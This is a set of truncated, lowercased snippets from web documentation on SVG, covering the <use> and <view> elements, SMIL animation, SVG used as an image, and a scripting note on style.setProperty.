<use> - SVG: Scalable Vector Graphics
a-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:href, xlink:title usage notes categoriesgraphics element, graphics referencing element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<use>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<use>' in that specification. reco
mmendation initial definition ...
<view> - SVG: Scalable Vector Graphics
<text x="5" y="20" font-size="20">half size</text> </a> <a xlink:href="#normalsizeview"> <text x="5" y="40" font-size="20">normal size</text> </a> <a xlink:href="#doublesizeview"> <text x="5" y="60" font-size="20">double size</text> </a> </svg> result dom interface this element implements the svgviewelement interface. specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<view>' in that specification. candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<view>' in that specification. reco
mmendation initial definition ...
SVG animation with SMIL - SVG: Scalable Vector Graphics
same way as in <path>. you can set the attribute to define whether the object rotates following the tangent of the path. example 1: linear motion in this example, a blue circle bounces between the left and right edges of a black box, over and over again, indefinitely. the animation here is handled by the <animatemotion> element. in this case, we're establishing a path consisting of a moveto co
mmand to establish the starting point for the animation, then the horizontal-line co
mmand to move the circle 300 pixels to the right, followed by the z co
mmand, which closes the path, establishing a loop back to the beginning. by setting the value of the repeatcount attribute to indefinite, we indicate that the animation should loop forever, as long as the svg image exists. <svg xmlns="http://www.w...
SVG as an Image - SVG: Scalable Vector Graphics
sed if inlined through data: uris. :visited-link styles aren't rendered. platform-native widget styling (based on os theme) is disabled. note that the above restrictions are specific to image contexts; they don't apply when svg content is viewed directly, or when it's embedded as a document via the <iframe>, <object>, or <embed> elements. specifications specification status co
mment html5the definition of 'svg within <img> element' in that specification. reco
mmendation defines the usage of svg within <img> elements. css backgrounds and borders module level 3the definition of 'svg within 'background-image' css property' in that specification. candidate reco
mmendation defines the usage of svg within the background-image property. ...
Scripting - SVG: Scalable Vector Graphics
style.setproperty("fill-opacity", "0.0") throws a domexception - syntax err in mozilla. this behaviour is specified by the w3c in the dom level 2 style specification. the function setproperty is defined as a function with three parameters. the above can be replaced with 'svgelement.style.setproperty("fill-opacity", "0.0", "")', which is standards compliant. links svg wiki on scripting and progra
mming ...